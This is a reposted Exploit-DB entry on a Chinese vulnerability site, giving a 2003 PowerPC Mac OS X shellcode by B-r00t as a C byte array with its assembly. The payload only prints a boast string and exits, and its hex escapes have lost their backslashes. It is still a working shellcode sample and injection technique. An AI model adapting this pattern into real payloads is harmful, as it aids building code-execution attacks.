OSX/PPC – Simple write() Shellcode (75 bytes)

admin 2021年4月9日04:13:29网络安全漏洞评论78阅读模式

OSX/PPC - Simple write() Shellcode (75 bytes)

漏洞ID 1054643 漏洞类型
发布时间 2004-09-26 更新时间 2004-09-26
OSX/PPC – Simple write() Shellcode (75 bytes)CVE编号 N/A
OSX/PPC – Simple write() Shellcode (75 bytes)CNNVD-ID N/A
漏洞平台 OSX_PPC CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/13486
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/*
PPC OSX/Darwin Shellcode by B-r00t. 2003.
Does write(); exit();
See ASM below.
75 Bytes.
*/

char shellcode[] =
"x7cx63x1ax79x40x82xffxfd"
"x7fxe8x02xa6x39x40x01x70"
"x38x6axfex91x38x9fx01x38"
"x38x84xfexf4x38xaaxfexa7"
"x38x0axfex94x44xffxffx02"
"x60x60x60x60x38x0axfex91"
"x44xffxffx02x0ax42x2dx72"
"x30x30x74x20x52x30x78x20"
"x59x33x52x20x57x30x72x31"
"x64x21x0a";

int main (void) 
{
        __asm__("b _shellcode");
}

/*
; PPC OS X / Darwin Shellcode by B-r00t.
; write() exit().
; Simply writes 'B-r00t R0x Y3R W0r1d!
;
.globl _main
.text
_main:
        xor.	r3, r3, r3 
        bnel    _main                    
	mflr  	r31
	li	r10, 368
	addi	r3, r10, -367
	addi  	r4, r31, 268+44
	addi  	r4, r4, -268
	addi	r5, r10, -345
	addi  	r0, r10, -364
        .long 	0x44ffff02
	.long	0x60606060
	addi	r0, r10, - 367
	.long 	0x44ffff02	
string: .asciz "nB-r00t R0x Y3R W0r1d!n"

*/

// milw0rm.com [2004-09-26]

相关推荐: Cisco IOS 12.1 Large TCP Scan Denial of Service Vulnerability

Cisco IOS 12.1 Large TCP Scan Denial of Service Vulnerability 漏洞ID 1101907 漏洞类型 Failure to Handle Exceptional Conditions 发布时间 2002…

相关文章
weinxin
我的微信
微信扫一扫
admin
  • 本文由 发表于 2021年4月9日04:13:29
  • 转载请保留本文链接:https://aqxbk.com/archives/security/securityvulns/2021/04_09/39186.html